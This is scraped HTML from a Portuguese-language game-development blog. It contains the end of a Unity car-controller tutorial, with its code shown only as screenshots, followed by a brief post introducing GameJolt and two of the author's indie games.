Vamos, agora, adicionar um script para controlar o carro.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhdlpdMUMBSeUNDdYO5BYxhcw63VOM0cSNDagUf-l7PQndaldGzBG8zF9VlTfePf6fM8g1Tjn0tZBHxUAErjuTt8lbW23h39dfF0neWxK8LotQ4ThQQ3kmjqAkViXpVNTZscBX2oisA8ro/s1600/vlcsnap-2016-02-22-20h50m15s129.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhdlpdMUMBSeUNDdYO5BYxhcw63VOM0cSNDagUf-l7PQndaldGzBG8zF9VlTfePf6fM8g1Tjn0tZBHxUAErjuTt8lbW23h39dfF0neWxK8LotQ4ThQQ3kmjqAkViXpVNTZscBX2oisA8ro/s1600/vlcsnap-2016-02-22-20h50m15s129.png" /></a></div>
Neste script vamos definir as rodas, a potência do motor e ângulo máximo de rotação das rodas da frente.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyYl5O5qdLIv4hqBdPNg3PB4PwVP7PlzpkwnUljOsRitx1owLEwMJYT0t3dlVgfW3JRDzczG8shsbNaeeHcWklhyHu5IristeMk0rydjaXICIIoXmghHjCDrblwR4WxulfYkLlVsGVUSg/s1600/vlcsnap-2016-02-22-20h52m45s718.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyYl5O5qdLIv4hqBdPNg3PB4PwVP7PlzpkwnUljOsRitx1owLEwMJYT0t3dlVgfW3JRDzczG8shsbNaeeHcWklhyHu5IristeMk0rydjaXICIIoXmghHjCDrblwR4WxulfYkLlVsGVUSg/s1600/vlcsnap-2016-02-22-20h52m45s718.png" /></a></div>
<br />
Depois de associar o script ao gameObject Car vamos definir as rodas, arrastando cada um dos objectos para o vetor wheels.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFUWaNwK0Hewutxn9iHOyvI_ddgQ0ppmvxd5rLsSU3NxLmdfSxGjgI7X2Mvad1jHOq-u8eZyAAB4ebIESsfaxP8HcomVk0hoARwVkxXXgm13R-zMp5nfqbnIQFXyeer2ijKSc-Dgz45LI/s1600/vlcsnap-2016-02-22-20h52m34s693.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFUWaNwK0Hewutxn9iHOyvI_ddgQ0ppmvxd5rLsSU3NxLmdfSxGjgI7X2Mvad1jHOq-u8eZyAAB4ebIESsfaxP8HcomVk0hoARwVkxXXgm13R-zMp5nfqbnIQFXyeer2ijKSc-Dgz45LI/s1600/vlcsnap-2016-02-22-20h52m34s693.png" /></a></div>
Vamos precisar de algumas variáveis.<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGKx_vwVOyJEFVArppG6IAI6WcwwjU-2cY09TpHopjIusvMKs29WCroAoML2zhHvaazIfCI4zM7ZiOcKgGXIZH_5hNuuFP-J0hgBaK8nSD9xr268QfMxK4AVJUJ5m61yez7pCDl8VZJF8/s1600/vlcsnap-2016-02-22-21h07m02s226.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGKx_vwVOyJEFVArppG6IAI6WcwwjU-2cY09TpHopjIusvMKs29WCroAoML2zhHvaazIfCI4zM7ZiOcKgGXIZH_5hNuuFP-J0hgBaK8nSD9xr268QfMxK4AVJUJ5m61yez7pCDl8VZJF8/s1600/vlcsnap-2016-02-22-21h07m02s226.png" /></a></div>
E de uma função para simplificar o código que manipula os wheelcolliders.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgr363YZkXXYbrPUeYaC2xUsVu2hgCpKzBt4FLGA0D6-qHeZu0bRboQgGpPUswfNrkEGB08nCN1L8YgScMYPAK3Sde36_hJN1TDbell7KjHH05gn180tXoVweYw6IK5iPWAuFv69DGAgPY/s1600/vlcsnap-2016-02-22-21h10m00s413.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="52" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgr363YZkXXYbrPUeYaC2xUsVu2hgCpKzBt4FLGA0D6-qHeZu0bRboQgGpPUswfNrkEGB08nCN1L8YgScMYPAK3Sde36_hJN1TDbell7KjHH05gn180tXoVweYw6IK5iPWAuFv69DGAgPY/s320/vlcsnap-2016-02-22-21h10m00s413.png" width="320" /></a></div>
Agora o código que lê o input e faz virar os colliders e as rodas.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLohy1nEkKYKK3fztvauX8mPb61ajPEp90L-lpPkj-3GXKuCOfn4gVF7DNd9mx0cpZGa8yczKmLf8y9r8ZT2rsnC1cnSEDLUfBCVu_DaoiQtHxtWmVK4VZhOjP5LeehVPr2ENUTkzwTTA/s1600/vlcsnap-2016-02-22-21h13m43s250.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="155" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLohy1nEkKYKK3fztvauX8mPb61ajPEp90L-lpPkj-3GXKuCOfn4gVF7DNd9mx0cpZGa8yczKmLf8y9r8ZT2rsnC1cnSEDLUfBCVu_DaoiQtHxtWmVK4VZhOjP5LeehVPr2ENUTkzwTTA/s320/vlcsnap-2016-02-22-21h13m43s250.png" width="320" /></a></div>
<br />
De seguida fazemos rodar as rodas.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgeUpvnvxiIdYtqfLIeIcsOM8Z9arUN4EMRt4h7XrQeCvsFx77uzR0EKaNeVnbCCwcgwOsUunNIX2oLujdp_goVD4_XYfNdf0sBUUFGNoYHx0eB2LMuU984SGUzBbrRSjdMdBOVJMGTdnc/s1600/vlcsnap-2016-02-22-21h17m46s287.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="62" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgeUpvnvxiIdYtqfLIeIcsOM8Z9arUN4EMRt4h7XrQeCvsFx77uzR0EKaNeVnbCCwcgwOsUunNIX2oLujdp_goVD4_XYfNdf0sBUUFGNoYHx0eB2LMuU984SGUzBbrRSjdMdBOVJMGTdnc/s320/vlcsnap-2016-02-22-21h17m46s287.png" width="320" /></a></div>
<br />
E por fim os travões e o motor.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3x-_oTvlUFJ_hJNnCUWYJSZlTI7rF_YdB-Z2XwP5cXJMFDEh2uRxzr3qTnlgNffwwKrxEwsygcHTrXAOcmTVJla5vmCN-YXPe-XJsV8GIiXlYakZG5dwhH2tGT90M9Wtnz7KxpBfV5Lk/s1600/vlcsnap-2016-02-22-21h22m16s145.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="277" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3x-_oTvlUFJ_hJNnCUWYJSZlTI7rF_YdB-Z2XwP5cXJMFDEh2uRxzr3qTnlgNffwwKrxEwsygcHTrXAOcmTVJla5vmCN-YXPe-XJsV8GIiXlYakZG5dwhH2tGT90M9Wtnz7KxpBfV5Lk/s320/vlcsnap-2016-02-22-21h22m16s145.png" width="320" /></a></div>
<br />
<br />
O projeto está disponível para download no <a href="https://github.com/alunosnet/CarDemo" target="_blank">GitHub</a><br />
<br />
Um vídeo do tutorial no <a href="https://youtu.be/2WzttSEqTZY" target="_blank">YouTube</a> AlunosNethttp://www.blogger.com/profile/15597938441125220815noreply@blogger.com0tag:blogger.com,1999:blog-1980868650914217222.post-89004787084663977572015-12-30T09:25:00.000-08:002015-12-30T09:30:07.249-08:00Game JoltNeste artigo apresento um site dedicado a publicar jogos indie, o <a href="http://gamejolt.com/" target="_blank">GameJolt</a>.<br />
<br />
Atualmente tenho dois jogos publicados:<br />
<br />
<a href="http://gamejolt.com/games/bouncingworld/95233" target="_blank">Bouncing World</a><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://gamejolt.com/games/bouncingworld/95233" target="_blank"><img border="0" height="176" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiu8tnZoDOMAiLbQknbWA5DOhtLbyBRgJP-uWtvDLrQPhcu9bnELRxqpdEm5tYeDhyphenhyphenJRatWAzZre3p7I1G0394LY6WrS4_YU-NMxYzkwQC-qYVKhozmyc19LqdAvgCP9BnughFt7fpLBjc/s320/barco4.png" width="320" /></a></div>
<br />
<a href="http://gamejolt.com/games/ground-protection/116880" target="_blank">Ground Protection</a><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://gamejolt.com/games/ground-protection/116880" target="_blank"><img border="0" height="180" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjoqut5oD6DTFYaldHSSM2U9_F6vtjhi2JEasZWyK7Q-RJ0XcoqkbVg_zhFVYjbZFd_1lmZhBgOrMRxTTMue-wtRgG50hdAJa6tsiFw329s8sFS-5ESugf74sfx9uXdRJ8tiTdG2tqhitU/s320/Captura+de+Ecr%25C3%25A3+%252816%2529.png" width="320" /></a><span id="goog_1788088458"></span><span id="goog_1788088459"></span><a href="https://www.blogger.com/"></a></div>
<br />AlunosNethttp://www.blogger.com/profile/15597938441125220815noreply@blogger.com0